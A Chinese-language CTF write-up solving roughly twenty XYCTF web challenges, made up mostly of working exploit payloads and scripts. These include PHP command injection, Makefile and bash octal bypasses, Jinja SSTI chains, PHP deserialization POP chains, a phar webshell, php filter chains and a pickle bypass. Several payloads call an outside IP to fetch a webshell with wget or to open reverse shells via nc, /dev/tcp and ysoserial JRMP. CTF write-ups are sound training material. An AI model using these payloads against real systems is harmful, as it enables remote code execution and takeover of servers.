目录
[warm up](#warm up)
[give me flag](#give me flag)
ezhttp
访问./robots.txt
继续访问拿到账号密码
登录,然后就是抓包各种http八股
ezmd5
生成的图片分别上传即可
(只允许上传jpg,重新生成就行,懒得放图了)
点击比较图片拿到flag
warm up
鉴定为md5八股
?val1[]=1&val2[]=2&md5=0e215962017&XY=0e215962017&XYCTF=0e215962017
访问./LLeeevvveeelll222.php
数组绕过preg_match,preg_replace命令执行
?a=/1/e&b=system('tac /f*')&c=1
a[]=1
ezMake
PATH 环境变量被显式地设定为空。这段 Makefile 的逻辑检查了 PATH 是否未定义,如果未定义则设为空,如果已定义也重设为空。由于 PATH 被设置为空,shell 将无法定位到除内置命令之外的任何外部命令的位置。
Bash 内建命令
这些命令是由Bash自身提供,而不是独立的程序:
alias
- 定义或显示别名。cd
- 改变当前目录。echo
- 输出参数到标准输出。exit
- 退出当前shell。export
- 设置或显示环境变量。history
- 显示命令历史记录。pwd
- 打印当前工作目录的路径。read
- 从标准输入读取一行数据。set
- 设置或取消设置shell选项和位置参数。type
- 显示一个命令的类型。unset
- 删除变量或函数的定义。
echo可以执行
直接echo写马会有waf
甚至base64也不行🤔
hex2bin可以过
echo '<?=eval(hex2bin("6576616c28245f504f53545b22636d64225d293b"))?>' > yjh.php
成功写马,命令执行拿flag
ez?Make
这题patch了一下上题的非预期,不能再echo写马了
但也把/bin下的命令放了出来,不再有PATH的限制
知道flag路径在/flag,所以可以cd再进行读文件,读文件的方法ban了不少,经过测试more还能用
最终payload:
cd ..&&cd ..&&cd ..&&cd ..&&cd ..&&more [0-z][0-z][0-z][0-z]
εZ?¿м@Kε¿?
右键查看源码
访问./hint.php
就是说给了个白名单
关于makefile的自动变量
Makefile中的自动变量是在规则执行时由make自动定义的变量。这些变量非常有用,因为它们可以自动获取文件名、目录名和更多的信息,使得Makefile编写更加简洁和灵活。下面是一些常用的自动变量:
$@
: 表示规则中的目标文件名。如果在模式规则中,它表示的是目标的一个实例。$<
: 表示规则中的第一个依赖文件名。$?
: 表示所有比目标文件还要新的依赖文件列表,用空格分隔。$^
: 表示所有的依赖文件列表,这些依赖文件以空格分隔,不包含重复的依赖文件。$+
: 这个变量和$^
很像,但是它包含了所有的依赖文件,并保留了重复的文件。$*
: 在模式规则中,它表示匹配于目标模式中的%
部分的字符串。例如,在规则%.o: %.c
中,如果目标是foo.o
,则$*
的值就是foo
。
Makefile的编写及四个特殊符号的意义@、@、^、$ - 春风一郎 - 博客园 (cnblogs.com)
可以自己做个小lab
注意到通过报错可以带出命令执行结果的第一个空格前的字符串
通过<可以输入重定向文件
靶机中,\<就是/flag,此外要注意在makefile中代表的是shell中的(见文章中)
最终payload:
$$(<$<)
成功报错带出
我是一个复读机
进来一个登录框,附件给的字典爆进去
一眼SSTI,注意到{{}}、{%%}、_、'都被ban了,这我还注个集贸啊😡
搞点破坏,发现只要是中文或特殊字符就可以被解析为{{}}
用request配合|attr绕过,最终payload:
?sentence=😡(()|attr(request.values.a)|attr(request.values.b)|attr(request.values.c)()|attr(request.values.d)(132)|attr(request.values.e)|attr(request.values.f)|attr(request.values.d)(request.values.g)(request.values.h)).read()😡&a=__class__&b=__base__&c=__subclasses__&d=__getitem__&e=__init__&f=__globals__&g=popen&h=cat /flag
或者
?sentence=😡lipsum|attr(request.args.glo)|attr(request.args.ge)(request.args.o)|attr(request.args.po)(request.args.cmd)|attr(request.args.re)()😡&glo=__globals__&ge=__getitem__&o=os&po=popen&cmd=cat /flag&re=read
牢牢记住,逝者为大
注意到eval用了字符串拼接的方式
PHP中的eval()
函数可以执行多行命令,但如果其中的某一行命令出现错误,PHP 解释器将会停止执行并抛出一个致命错误,索性这个man已经被注释了,为了命令执行,我们需要做的就是换行和注释掉mamba out
关于命令执行,因为限长,所以考虑用`$_GET[1]`来转接
但对GET有诸多限制,连curl都打不了,考虑写马
写马有两种方式,一种echo >,另一种直接wget下载远程文件,本题显然是后者
payload:
?cmd=%0a`$_GET[1]`;%23&1=wget 124.222.136.33:1337/yjh.php
%0a换行,%23注释
成功写马,命令执行拿到flag
也可以nc反弹shell,至于关键词过滤,直接''就可以过掉
payload:
?cmd=%0a`$_GET[1]`;%23&1=nc 124.222.136.33 1337 -e /bi''n/sh
监听,成功反弹shell,拿flag
ezRCE
在shell环境中有一种特殊的表示字符的序列。在这种表示法中,\ 后面跟着一个八进制数,表示该字符的 ASCII 值。在bash中有一种特殊字符的引用的方式------$''(称为 ANSI-C quoting)它允许你在字符串中使用 ANSI C 转义序列来表示特殊字符或者 ASCII 控制字符。
贴一个字符串转8进制的脚本
def string_to_octal(input_str):
octal_str = ""
for char in input_str:
octal_char = oct(ord(char))[2:]
octal_str += "\\" + octal_char.zfill(3)
return octal_str
input_str = "指定字符串"
octal_output = string_to_octal(input_str)
print(octal_output)
给一个lab
$'\l54\163'
成功执行了ls
能否直接读文件呢
$'\143\141\164\040\061\056\150\164\155\154'
可以看到其直接将单引号包裹的内容整体当成了一个命令,不能直接利用
bash中的一种特殊的语法Here String,用于将字符串作为命令的标准输入提供给命令。它的语法形式是 <<<,后跟一个字符串,形如:
command <<< "string"
这里的 command 可以是任何接受标准输入的命令,而 string 则是要提供给该命令的字符串。
再给另一个lab
bash <<< $'\143\141\164\040\146\154\141\147\056\160\150\160'
bash $'\142\141\163\150'
cat flag.php $'\143\141\164\040\146\154\141\147\056\160\150\160'
$'\142\141\163\150' <<< $'\143\141\164\040\146\154\141\147\056\160\150\160'
最终payload:
?cmd=$'\142\141\163\150'<<<$'\143\141\164\040\057\146\052'
ezPOP
链子很好看
CCC.__destruct -> AAA.__toString -> BBB.__get
call_user_func(a,b)(c)(d);这种构造很奇怪
要求我们call_user_func返回一个函数
c是返回函数的入参,call_user_func(a,b)(c)的返回值又是个以$d为入参的函数
其实还挺好操作的,题目里unset了一下$_POST['a'],其实就是把数组元素清了一个,有关数组的操作很容易可以想到current
call_user_func('current','$_POST')返回值完全可控,可以令其为sprintf
其返回一个字符串,返回值就是传入的参数
<?php
$var=sprintf("Z3r4y");
echo $var;
//Z3r4y
众所周知,()可以将字符串作为函数来处理
例如可以这样调用phpinfo()
<?php
$var=sprintf("phpinfo");
echo $var;
$var();
所以我们可以通过这样的操作来返回一个system,system的参数也完全可控
具体如下
exp
<?php
class AAA
{
public $s;
public $a;
}
class BBB
{
public $c;
public $d;
}
class CCC
{
public $c;
}
$b=new BBB();
$a=new AAA();
$c=new CCC();
$b->c="system";
$b->d="tac /f*";
$a->s=$b;
$c->c=$a;
echo serialize($c);
最后因为要绕过抛错,所以删去生成字符串最后的'}'
payload:
?xy=O:3:"CCC":1:{s:1:"c";O:3:"AAA":2:{s:1:"s";O:3:"BBB":2:{s:1:"c";s:6:"system";s:1:"d";s:7:"tac /f*";}s:1:"a";N;}
a=current&b=sprintf
ezSerialize
简单一个引用绕过
<?php
class Flag {
public $token;
public $password;
}
$a=new Flag();
$a->password=&$a->token;
echo serialize($a);
访问./fpclosefpclosefpcloseffflllaaaggg.php
链子
E#__unserialize -> D#__toString -> B#__get -> A#invoke -> C#__call
exp
<?php
class A {
public $mack;
}
class B {
public $luo;
}
class C {
public $wang1;
}
class D {
public $lao;
public $chen;
}
class E {
public $name;
public $num;
}
//E#__unserialize -> D#__toString -> B#__get -> A#invoke -> C#__call
$a=new E();
$b=new D();
$c=new B();
$d=new A();
$e=new C();
$d->mack=$e;
$c->luo=$d;
$b->lao=$c;
$a->name=$b;
echo serialize($a);
访问./saber_master_saber_master.php
链子
XYCTFNO3#__wakeup -> XYCTFNO2.XYCTF() -> XYCTFNO3.XY() -> new SplFileObject("php://filter/convert.base64-encode/resource=flag.php")
exp
<?php
class XYCTFNO1
{
public $Liu;
public $T1ng;
private $upsw1ng;
}
class XYCTFNO2
{
public $crypto0;
public $adwa;
}
class XYCTFNO3
{
public $KickyMu;
public $fpclose;
public $N1ght;
}
$a=new XYCTFNO3();
$b=new XYCTFNO2();
$c=new XYCTFNO1();
$c->crypto0='dev1l';
$c->T1ng='yuroandCMD258';
$b->adwa=$c;
$a->KickyMu=$b;
$a->N1ght='oSthing';
echo serialize($a);
最后post传参
X=SplFileObject&Y=php://filter/convert.base64-encode/resource=flag.php
用SplFileObject配合php伪协议来读文件
base64解码得flag
ezClass
把原生类玩明白了属于是
<?php
$a=new Error("Z3r4y");
echo $a->getMessage();
//Z3r4y
现在通过Error我们可以构造任意字符串,这不为所欲为
最终payload:
?a=Error&aa=system&b=Error&bb=cat /f*&c=getMessage
pharme
右键查看源码
访问./class.php
preg_replace('/;+/','ch3nx1',preg_replace('/[A-Za-z_]+/','',$this->cmd)))这段正则是将输入中的字母、下划线和括号都移除,并将连续的分号替换为字符串 'ch3nx1' ,最后与'ch3nx1'比较判真
其实就是个白名单,只能含有字母A-Z,a-z,下划线_和左右括号(),其实也就是无参RCE
此外,eval中的字符串是拼接的,且不能用#和//进行注释,则要用__halt_compiler来终止编译
在 PHP 中,
__halt_compiler()
是一个特殊的语言结构,用于在脚本中立即停止编译器的解析。这意味着,该函数之后的任何 PHP 代码都不会被编译器解析为 PHP 代码,但这些数据依然可以作为文件的一部分存在,可以通过 PHP 的 I/O 函数访问。使用场景和目的:
- 数据存储 :
__halt_compiler()
常见于将数据直接嵌入到 PHP 脚本文件中的情况。这使得可以在一个文件中同时包含执行代码和非执行数据,如安装脚本、自解压脚本等。- 混合内容:可以在 PHP 文件中混合使用 PHP 代码和任意其他数据,不需要担心编译器会尝试解析那些非 PHP 数据。
- 创建 PHAR 文件 :PHAR (PHP Archive) 文件格式广泛使用
__halt_compiler()
来分隔 PHAR 元数据和包含的文件数据。
生成phar包
<?php
class evil{
public $cmd="eval(end(getallheaders()));__halt_compiler();"; //写shell
}
@unlink('poc.phar'); //删除之前的test.phar文件(如果有)
$phar=new Phar('poc.phar'); //创建一个phar对象,文件名必须以phar为后缀
$phar->startBuffering(); //开始写文件
$phar->setStub('<?php __HALT_COMPILER(); ?>'); //写入stub
$o=new evil();
$phar->setMetadata($o);//写入meta-data
$phar->addFromString("test.txt","test"); //添加要压缩的文件
$phar->stopBuffering();
?>
因为对文件内容没有修改,所以不需要重算签名
gzip压缩一下过掉文件内容过滤
发包的时候改后缀和content-type为png即可
再过掉phar://开头的正则
file=php://filter/convert.base64-encode/resource=phar:///tmp/23f1a0f70f076b42b5b49f24ee28f696.png
连连看到底是连连什么看
点击about后存在一个文件包含
先随便尝试包含下index.php
访问./what's_this.php
一眼顶针,鉴定为php_filter_chain
直接打的话XYCTF后会有脏数据
?p=convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1361|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM860.UTF16|convert.iconv.ISO-IR-143.ISO2022CNEXT|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode
手动加string.strip_tags过滤器来去除php标签
构造XYCTF<?php
最终payload:
?p=convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L4.UTF32|convert.iconv.CP1250.UCS-2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-4LE.OSF05010001|convert.iconv.IBM912.UTF-16LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.ISO6937.8859_4|convert.iconv.IBM868.UTF-16LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1361|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM860.UTF16|convert.iconv.ISO-IR-143.ISO2022CNEXT|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode|string.strip_tags
ezLFI
源码就是LFI
chmod 400 /flag:改变 /flag 文件的权限,设置为只有所有者可读
可以用php-filter-chain来包含一句话木马
有现成的github项目工程
GitHub - wupco/PHP_INCLUDE_TO_SHELL_CHAR_DICT
login
先在./register.php注册
再用注册的账号登录,抓包,响应头Set-Cookie有一个RememberMe的字段,此外注意到服务器是python的
对其base64解码,看到app🤔
经过尝试是pickle(反)序列化
存在过滤,直接打打不通,⽤o字节码绕过过滤参照下文
exp:
import base64
shell = b'''bash -c "bash -i >& /dev/tcp/124.222.136.33/1337 0<&1"''' # 反弹shell语句
payload = b'''(ctimeit
timeit
(cos
system
V''' + shell + b'''
oo.'''
print(base64.b64encode(payload).decode())
give me flag
考的哈希长度拓展攻击
GitHub - shellfeel/hash-ext-attack: 哈希长度扩展攻击利用脚本,免去了hashpump需要编译的烦恼
<?php
$time=time();
echo $time;
import requests
url = 'http://127.0.0.1:31860/?md5=509dbe30c98c4ddb7817813e9a1fc3c6&value=%80%00%00%00%00%00%00%00%00%00%00%00%00X%01%00%00%00%00%00%00'
while True:
res = requests.get(url=url)
if "XYCTF" in res.text:
print(res.text)
break
baby_unserialize
右键查看源码
访问./ser
随便传参回包让入参为payload
反序列化输入流限得很死,打JRMP绕过
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1338 CommonsCollections3 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjQuMjIyLjEzNi4zMy8xMzM3IDA+JjE=}|{base64,-d}|{bash,-i}'
ysoserial自带的JRMPClient被waf掉了,重写一个
package org.example;
import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.rmi.server.ObjID;
import java.rmi.server.RemoteObjectInvocationHandler;
import java.util.Base64;
public class JRMP {
public static void main(String[] args) throws Exception {
ObjID id = new ObjID();
TCPEndpoint te = new TCPEndpoint("124.222.136.33", 1338);
LiveRef liveRef = new LiveRef(id, te, false);
UnicastRef ref = new UnicastRef(liveRef);
RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(obj);
oos.close();
byte[] byteArray = barr.toByteArray();
String res = Base64.getEncoder().encodeToString(byteArray);
System.out.println(res);
}
}
运行生成的payload再url一次编码后打入
监听,成功反弹shell,env拿flag